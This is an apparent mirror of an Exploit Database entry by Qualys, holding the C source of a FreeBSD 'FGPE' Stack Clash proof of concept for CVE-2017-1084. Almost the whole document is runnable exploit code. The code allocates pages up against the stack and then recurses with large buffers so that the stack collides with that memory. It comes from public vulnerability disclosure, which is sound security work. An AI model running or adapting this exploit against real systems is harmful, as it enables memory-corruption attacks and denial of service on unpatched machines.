FreeBSD – ‘FGPE’ Stack Clash (PoC)

• Exploit Database
• 16 阅读

• 作者： Qualys Corporation
  日期： 2017-06-28
• 类别：

  • dos
  平台：

  • freebsd_x86
• 来源：https://www.exploit-db.com/exploits/42278/

• /*
   * FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
   * Copyright (C) 2017 Qualys, Inc.
   *
   * This program is free software: you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation, either version 3 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program.If not, see <http://www.gnu.org/licenses/>.
   */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <sys/mman.h>
  #include <sys/resource.h>
  #include <sys/time.h>
  
  #define die() do { \
  fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
  exit(EXIT_FAILURE); \
  } while (0)
  
  static const char * last_page;
  
  static void
  alloc(const char * const final)
  {
  for (;;) {
  last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (last_page == MAP_FAILED) die();
  if (last_page >= final) break;
  }
  }
  
  static void
  clash_smash_no_jump(const size_t smash_size)
  {
  char buf[1024];
  memset(buf, 'A', sizeof(buf));
  if (smash_size > sizeof(buf))
  clash_smash_no_jump(smash_size - sizeof(buf));
  }
  
  #define SGROWSIZ((size_t)128UL*1024)/* amount to grow stack */
  
  int
  main(void)
  {
  static const struct rlimit core;
  if (setrlimit(RLIMIT_CORE, &core)) die();
  
  struct rlimit stack;
  if (getrlimit(RLIMIT_STACK, &stack)) die();
  const size_t smash_size = stack.rlim_cur / 3 * 2;
  const size_t final_dist = arc4random() % smash_size;
  
  alloc((const char *)&stack - final_dist);
  clash_smash_no_jump(smash_size);
  printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
  exit(EXIT_SUCCESS);
  }